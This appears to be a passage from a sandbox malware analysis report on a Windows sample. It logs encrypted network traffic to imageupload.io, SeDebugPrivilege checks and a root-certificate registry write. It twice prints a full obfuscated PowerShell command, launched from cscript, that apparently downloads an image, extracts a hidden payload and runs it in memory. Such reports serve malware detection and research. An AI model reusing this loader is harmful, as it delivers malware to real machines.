å¨~XL«xcüVÜ3çWÝ&zûÜKV3®¶4)3ªYª)©¨÷hô~LgüLèÃý¦ÿbaÎ²ó0öÿ×F¼¦¦CfTÀ_ë\| L¦?>+hÓ#>ÿ(-²ÿavëH1ãOùÒõ&ÔJ,Ì\|Wp[ñôAø¥Þèlè!.÷U¿¢gµúBuJ!¸otï_Ìn±Ì 5ª:ÁøùÐ¥DBL.¥§UnÐPÑáIC/¾PtFóéa @¨#i«ì-Û¸ð±?gS8íqòNv'³+máéÚLç¬/±£¾näò'ÀY¡RY+0xÇúø&àëyn1å'â÷R½pÁÏmS^$.Ö&\|Nb%uÆKcÈKÿÙ²p/±7z·Çßê¹~Þg<Ä:Í¯c*/2Vä®´ôz¸w~¸÷7'1½¯Ä,uÏÍûqô¨yÛà]¹¯®"Ý§"iã"sÅ üHzz<×Þ,ñnGÚÃéÔ ßØ«eÃ3´pø=%sr7wñ9íÉØ@Üõ¿ùô°ìêl¾Þ6¯ðIcÙ ©/C)B=pÏ~ë4jÜ±½¥¸sòÁù±Ä¶+`~ímÚ=»04Ez¦+øÓzX^w/yÚ·W[ ¬ò}DÕfeT§ éí¥È[¸öìÇI¸øÙN_¨S¬V'Zª2I(´8Cd·^ G2¬>n>¶
Data received	ì§µ=·§$mCÿWØ[¥»\|àô¨&é¢Ì $óÂ`ÚTM¼¿ Ý~_üé-¬í@¦fuïægyù{öåÂSIÄâ´tùÚ" 2Ñ³ð4Ì)FuÁBÁö¦¨P.B;:Ú hòdø"õwá¶l\|:øê¢þÒ¾mSPÚoßÆÔÆ(Ë7£ß®¦}2["ÖËOµÛëÍfW{Øì²´@j¸)7°¶ÖêH~%â.ºùe ÄlÂÔywÅÊVÂ½a+B´PàüÍàNaÄ¾r Ç+Db.òu ¦-5áúPÍiMib ßð3Ýá¹å@aXel]´)Ä"F¹îÞÉÝ\|»²Uu$¦ÜónÍðæ¤¤ÖÜ&4!¸mu_Áß¹¿-ïïH;§ÒýÞè¶¨ ¡ `wPàtCí4¿¸?DýÄÙr¾÷aì¨àËí;òOR÷JíaØ#ÿ;Yÿ¾CH1ÓHÉté>ë¿¥¡líCÝ'U:ØÑv6¤ÔüÈ©7 µýtÆí56áÁ£±ÔDüÚÐï¼C=¸Ç¼ïÄ ÜýÛä8~¾Dçø}»x¼o\|¶FJØW³/6pÀÑ°NFnuqPM¦)LJÇ·ÚÂÄî4rÒ^urcód@}¹;Ú_0oKZÀÖWëu¯{ìCõ±Ö£ÁKÄµ[ÿÉ°+U+løn;BVuÁ L·aøjfL+z gÍØÆe½º'ãEc]¤c¬p"k¶úhÔ~aå\|B»ÓÇÔý\.¥RGÒÉK W¾Êb(ò È§½÷³)tñåJ ì';ë^ÙüfyK×õ°f%z¡><0Ãn}S?â âáâ«õí )Ì»£¼ÞÖ:Ào'AÁÀ¦¼J/ôv >.É8ÆËõó>f~êµî=¶Údv±ÎJß~ÇûOa¥Ú'$@?NïAÙ!<dd¹M6ÐW1ÂêVJöÃÑÛXm¦¡4jmgî©KÄosx©FÌC2E7u¼?ã"/íñ§8l±~/eÙß:~/éä5ô£ÍK Yev;l¡ð sFZ;}k`¢}_=Té¤L%Uyè ðàc¸î6I©ª¦Ñ#ÈòRÙ×·=HhçéK,Ë+\ÙZ¨YÐÃDáÏVí¼øk\©Ýµ»2î9 \Ì®G\|ÚÉáDr+RRÆ:XñFñÚ f³¼ªãbÉÚÛ²É[Õ®7ëÑoâm6é¼/;Ûh.´hqçoÝëOêÖ£ñY¦w.!c`³vQçÑ@ÀÅæéá3£^Àùt.Óz¨6a¸üÓ¦ä&µÝñLM_É=¶-Æ[ýþmõ´ì$ºú«IÖõ^Q[>UôßSûZÝ÷L9õjKÊ=u/¾+1ñ «·ðbx7LNï3I«hi9CmLÂ¬ p÷ê7³®á»JL3ØèlÅáJ#8)¿Ù"ñ-§ê#X^¸RPÆ"m²¨ëWa¿«¡òëËG@Ã6´l ¨°KùBêÔ=?lut;+dÈ.QäÝÿÍè-ÌÉIºå»D<%ås kÐ£`ÐëÓ»QoeX[Î¥ëäxêlódÁa
Data received	Uféé¿jµ¶º(jÀZ¹¢q\e²wS5Øæ ¸}]mz«hg^Eº<LÐÔê/`xÙÓMp%CC_¢]³f ª»Ã"ÞO'»;%--¥¯ùÔ¿î)bÐüÞÑC[I¦½çëmHn°ð¹¡Å]ÜÃOT1¹`Le´<ä¸ÅR~Óoq'(9r~Sr´³ÊõuP # )<üAèøÂæÓ°i}a«¶ùÛìK&çÊÚ}bû-9ÓRÁµÙþÖ`ájÃEºIäknÃI;ÆÌDXþVn=ÚÊmJÎpæØÄ¢£åpVÛ"8j/Ïºm< ¼`1ÅP\ e³Q\T@,VàSì!.Kæ.=zna¨# ßó"ú·¹ÝÓò±ÒÚKmÌ³ø#dÏ 'yá,Û(Z &ìßû¦;sóþÀQ½° Ð<ùò¤E¶Ùy¥´ÄadÁ¯ìj×_4Ì_z8Ö÷rÍÒé$çíg°YÔ}áËI×\f¢n]ïËÓ/YªªqÞ·pÃh.äáÝ\|¡¹jCíñ6ÝáÝ_nøjß¸(A~eN% S}Z6é7{&~ºlÝ[{Ïî¯~\|Bu/y%Ðô5ÂhxJÙïtCeÍ]Ú¬¹k0nÑÕëã·Y« n§µÃ-àïì7P65¯[a°xbUtZ>PÖ·Rw¡Cäèªußù)xÝx§£¸5ÃWTNê©µ`sñ;`ªç0cÈWÍã<ðºùá©èÃeI®$ã£-÷ ô6´ý«ÄI[ï£K8ËbÌ]´î#¡0#ø¥±ð[ã\|µ º);]jaû¸D÷ï¿ð¸Ét¹ªJX)Ç8&wdÑ³rLPMÌ5Ð¨Ã=ù[2k<ÔÐ¾VB§þ=L6I2D(Ôrs´È÷uºÁ7é¨/&ÀÓÝÌtQ7k½FËq9ôÖ³ðÓÙ-çñV0åþRSà'ékþèR.f¸¿û5nçzwçÜØàfpÆêZÝ\¾ªÝb+1<£ëûdwß¦9`D:aÙñúe¿Å¡ÎõÝë²fà±d3Ð¸ kA£?2 wÐ¦ýÙX.hLÌ¼míÁFáå95+÷7ÁÔ.óµFñ.é+rÛÂdw¬ÅÈóî&1}ý©[6¨eùn½Þ¡KMGNq;h¯UþU¿{©&h »ìGÌ}DÌãj£] ½OoAüØ/¡WÐ\|¥RÁnòÖ^21þRÓÖé °PrHÎD«Ý÷´Ó^B©[÷û²,RkÿU¾{nõ;.]Ø²Ï>ðCAë¡Úx<-Â· O0¤Äk§îëJY®³q«é@íËR_9ßOoÆBßy&}3ºSF;0WL^¬*ïËotè+ÕE.°4ùÂÖìu¤¾c!85ªýcZÊÀª¯.B ñ¢bQ^·±ë8<Sðm"·²Dm+îÆ\[J5Ðg§.ö2/\|¢bb¿ÅRT¿úmµÅH} ¤aìN-eÊücO¤{íupãò z)ÐaýÆéP4µ=®ÖCÃÊÒ%ðþÉð¡7tÿå¬;= z8-zFñÊù¾OñÄ
Data received	±ñ8¡nøÆèXÔ,ë@pß¿¡[¢³ÝdÜcÙâ<§wË±ßP[güÀOxg=é°kÁ\|,ô?³¨Áh0Äî$è´¶äâªß¯F út 1[©[:] sÑ¨øIVQ pÉÆQ"MòäZöâ wgØiÌ¸½æD+rSK¡ÃÔ`Ìo%÷Ï¡2ýÐÞÖ{9OõàÈ>î×nÐ]åRÇÕ»pÎ½õàVÎ:ÿÒ: E øp ÈUGÕîn¼¾cµ¸\|ëâ³kÛóÛÊï»ìUkRT/+ÊÉAé-3/ôqL«G5ñSdaEWçÚr¹3fc27Eð¨z@ø&@Í«:7¨ÏÆìÓ!îØZ-óÂ¬z§ì!mþéë;Íºd?ïCÅ¥2òØU«ýÝYèR¦åÀ ] #Ñ®uáµ ö1ÑNdõÆZô¸h¶êgq6aq®â©, 7p¤ÏïQyìq_¥ÆÄØµ¢°Ëñõhµ+äÃ ,=¾F´MeTüâ¿9_Qr¥qL3@¤ÆuEp¿@8~ô!ùnàÒ_ ÙFTv£Öì^f«æÃªt\|ëe"¦JB×Atø<?Åü/ [/j'y¼2¦êFxAõ?é°¬ð'çº> ù³Rñ#a¶>ÄmWª]¥×G¹bÊBI$ÓHÌÐÒFnø\jbóJ:®+£OØ&½¢³äýã!ÎÞËÙóøÈ]Øð·J¸cþî\Óss}_û^rçóJô ]©ÛlêG%`¿ëÁZKÜ×JîKÿ?c¹`èî}ÇÄ¼Jé+Ùå6W¯áÕôÅ,Gv²)fM§&vK¿NÏª±sãT[R`·¿ÃmKþ§ØªQÖ#mt`½×)£öÙE¨Íûu)>óúl¿Üµ_YV¦·Ìù~ìAÞ¦ö¹8þ+¤0}x=ëïeÔ¸]dê¨^óÒìÙ(Æ¹Æè±dÎ¶Ð[ÚÍûMÔÔÏ:ü»(R¨0#´&Øz©GÓÇx¥f¥/0Ì'Aç4QÑvêÓ@û¸Ûçê_4¬æo öð£.kÜÇßÑÕeÖ0EµåêXñ>£a°$ïý£Ynvñý£#c²ßäê¿ù¿î°ÍmÌ¿PxMJWZÉd zN3sæÌÈäx aè¹\ó÷Y ª·=tH}ÀÞëHq°ÚudH9;IÙ æbPFÝ}~ßKW¿E´M+À±Ï1=õ6OQ0M8y¸1Q °!sÜ×±7ìHTä@<tÖêæ\|Aõ³hQò§%íçé)¯ë]J?JûÁ¯GÃãù9ÖTPáá'yHM¦¶¹@¯\-CLf×¶_ÿ Zä©~¸§/²×-ÈVØSëôV£B4&NeÞÍì¦¤ô ª] Ï~\|õüäûì¾0lóÆåÿhNOâ\|LZËTiº8[ãK´t¤Âô¬ÉIV²y }uáIÚZ8ì§ªþ<µzß©ïW¬z¶[üÁöÛªd/°ñè¶Ç¥Wº6»ÿOJÏ(zª¥7döÇxÊ\Ê1"ÜH
Data received	@

Poweshell is sending data to a remote host (3 events)

Data sent	qmeBõÖÃ2@hd·^ï³vàü9(k* k«RW~j/5 ÀÀÀ À 28,ÿimageupload.io
Data sent	FBAÀæÝ&ÛÄÊÔÀ¨,ÛccùdÇëV_QZ¨é!¬Zßð¥zÎR¶ËOÜ'Z®©!ûù²?ÄZ0mC¤ïó=ÌN? ÅÚî¡¼m¦éÓ dóWÇ~uOÎÄ¥øÉb\âûÑ
Data sent	qó÷pÃ¹¡áVôVYã1ú(ÿÂWC½'Þªi\éÏÚU=µ-Ñ jWL2ñ°ª^æçJ.Pá¡ÉÅÀ¯k¹Ð¶¢ÍÍÄÖníå©¶~)õÃéwæqüò% $µ[qn¾[êê}¦gSo1ûÉ

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 2, 2023, 10:05 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Nov. 2, 2023, 10:05 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

cscript.exe

martian_process

powershell -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuTgBlzUbPÇKuHczUbPÇKuLQBPzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuTgBlzUbPÇKuHQzUbPÇKuLgBXzUbPÇKuGUzUbPÇKuYgBDzUbPÇKuGwzUbPÇKuaQBlzUbPÇKuG4zUbPÇKudzUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuHczUbPÇKuZQBizUbPÇKuEMzUbPÇKubzUbPÇKuBpzUbPÇKuGUzUbPÇKubgB0zUbPÇKuC4zUbPÇKuRzUbPÇKuBvzUbPÇKuHczUbPÇKubgBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuEQzUbPÇKuYQB0zUbPÇKuGEzUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBVzUbPÇKuHIzUbPÇKubzUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKuuzUbPÇKuEUzUbPÇKubgBjzUbPÇKuG8zUbPÇKuZzUbPÇKuBpzUbPÇKuG4zUbPÇKuZwBdzUbPÇKuDozUbPÇKuOgBVzUbPÇKuFQzUbPÇKuRgzUbPÇKu4zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuUwB0zUbPÇKuHIzUbPÇKuaQBuzUbPÇKuGczUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBCzUbPÇKuHkzUbPÇKudzUbPÇKuBlzUbPÇKuHMzUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBTzUbPÇKuFQzUbPÇKuQQBSzUbPÇKuFQzUbPÇKuPgzUbPÇKu+zUbPÇKuCczUbPÇKuOwzUbPÇKukzUbPÇKuGUzUbPÇKubgBkzUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBFzUbPÇKuE4zUbPÇKuRzUbPÇKuzUbPÇKu+zUbPÇKuD4zUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBUzUbPÇKuGUzUbPÇKuezUbPÇKuB0zUbPÇKuC4zUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuE8zUbPÇKuZgzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKuZQBuzUbPÇKuGQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuTwBmzUbPÇKuCgzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBGzUbPÇKuGwzUbPÇKuYQBnzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuHMzUbPÇKudzUbPÇKuBhzUbPÇKuHIzUbPÇKudzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKuZQzUbPÇKugzUbPÇKuDzUbPÇKuzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuCszUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuLgBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuYgBhzUbPÇKuHMzUbPÇKuZQzUbPÇKu2zUbPÇKuDQzUbPÇKuTzUbPÇKuBlzUbPÇKuG4zUbPÇKuZwB0zUbPÇKuGgzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBzzUbPÇKuHQzUbPÇKuYQByzUbPÇKuHQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuDszUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBTzUbPÇKuHUzUbPÇKuYgBzzUbPÇKuHQzUbPÇKucgBpzUbPÇKuG4zUbPÇKuZwzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuQwBvzUbPÇKuG4zUbPÇKudgBlzUbPÇKuHIzUbPÇKudzUbPÇKuBdzUbPÇKuDozUbPÇKuOgBGzUbPÇKuHIzUbPÇKubwBtzUbPÇKuEIzUbPÇKuYQBzzUbPÇKuGUzUbPÇKuNgzUbPÇKu0zUbPÇKuFMzUbPÇKudzUbPÇKuByzUbPÇKuGkzUbPÇKubgBnzUbPÇKuCgzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuGwzUbPÇKubwBhzUbPÇKuGQzUbPÇKuZQBkzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuUgBlzUbPÇKuGYzUbPÇKubzUbPÇKuBlzUbPÇKuGMzUbPÇKudzUbPÇKuBpzUbPÇKuG8zUbPÇKubgzUbPÇKuuzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQBdzUbPÇKuDozUbPÇKuOgBMzUbPÇKuG8zUbPÇKuYQBkzUbPÇKuCgzUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuB0zUbPÇKuHkzUbPÇKuczUbPÇKuBlzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKubzUbPÇKuBvzUbPÇKuGEzUbPÇKuZzUbPÇKuBlzUbPÇKuGQzUbPÇKuQQBzzUbPÇKuHMzUbPÇKuZQBtzUbPÇKuGIzUbPÇKubzUbPÇKuB5zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuVzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuozUbPÇKuCczUbPÇKuRgBpzUbPÇKuGIzUbPÇKuZQByzUbPÇKuC4zUbPÇKuSzUbPÇKuBvzUbPÇKuG0zUbPÇKuZQzUbPÇKunzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuG0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKudzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuuzUbPÇKuEczUbPÇKuZQB0zUbPÇKuE0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCgzUbPÇKuJwBWzUbPÇKuEEzUbPÇKuSQzUbPÇKunzUbPÇKuCkzUbPÇKuLgBJzUbPÇKuG4zUbPÇKudgBvzUbPÇKuGszUbPÇKuZQzUbPÇKuozUbPÇKuCQzUbPÇKubgB1zUbPÇKuGwzUbPÇKubzUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuWwBvzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuBbzUbPÇKuF0zUbPÇKuXQzUbPÇKugzUbPÇKuCgzUbPÇKuJwBkzUbPÇKuEgzUbPÇKuazUbPÇKuzUbPÇKuwzUbPÇKuEwzUbPÇKubQBWzUbPÇKuHUzUbPÇKuYgzUbPÇKuzzUbPÇKuHzUbPÇKuzUbPÇKueQBZzUbPÇKuFYzUbPÇKuYwzUbPÇKuxzUbPÇKuE4zUbPÇKuRzUbPÇKuBNzUbPÇKuHkzUbPÇKuTQBTzUbPÇKuDkzUbPÇKubzUbPÇKuBizUbPÇKuEczUbPÇKubzUbPÇKuBtzUbPÇKuEwzUbPÇKuegBJzUbPÇKuHgzUbPÇKuTQBpzUbPÇKuDQzUbPÇKuegBNzUbPÇKuFQzUbPÇKuRQB1zUbPÇKuE4zUbPÇKuVzUbPÇKuBjzUbPÇKuHgzUbPÇKuTzUbPÇKuBqzUbPÇKuGMzUbPÇKudwBNzUbPÇKuFMzUbPÇKuOzUbPÇKuB2zUbPÇKuE8zUbPÇKubgBCzUbPÇKuDzUbPÇKuzUbPÇKuZzUbPÇKuBHzUbPÇKuGczUbPÇKuPQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuDIzUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send Nov. 2, 2023, 10:05 a.m.	buffer: qmeBõÖÃ2@hd·^ï³vàü9(k* k«RW~j/5 ÀÀÀ À 28,ÿimageupload.io socket: 1440 sent: 118	1	118
send Nov. 2, 2023, 10:05 a.m.	buffer: FBAÀæÝ&ÛÄÊÔÀ¨,ÛccùdÇëV_QZ¨é!¬Zßð¥zÎR¶ËOÜ'Z®©!ûù²?ÄZ0mC¤ïó=ÌN? ÅÚî¡¼m¦éÓ dóWÇ~uOÎÄ¥øÉb\âûÑ socket: 1440 sent: 134	1	134
send Nov. 2, 2023, 10:05 a.m.	buffer: qó÷pÃ¹¡áVôVYã1ú(ÿÂWC½'Þªi\éÏÚU=µ-Ñ jWL2ñ°ª^æçJ.Pá¡ÉÅÀ¯k¹Ð¶¢ÍÍÄÖníå©¶~)õÃéwæqüò% $µ[qn¾[êê}¦gSo1ûÉ socket: 1440 sent: 133	1	133

One or more non-whitelisted processes were created (5 events)

parent_process	cscript.exe	martian_process	powershell -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇ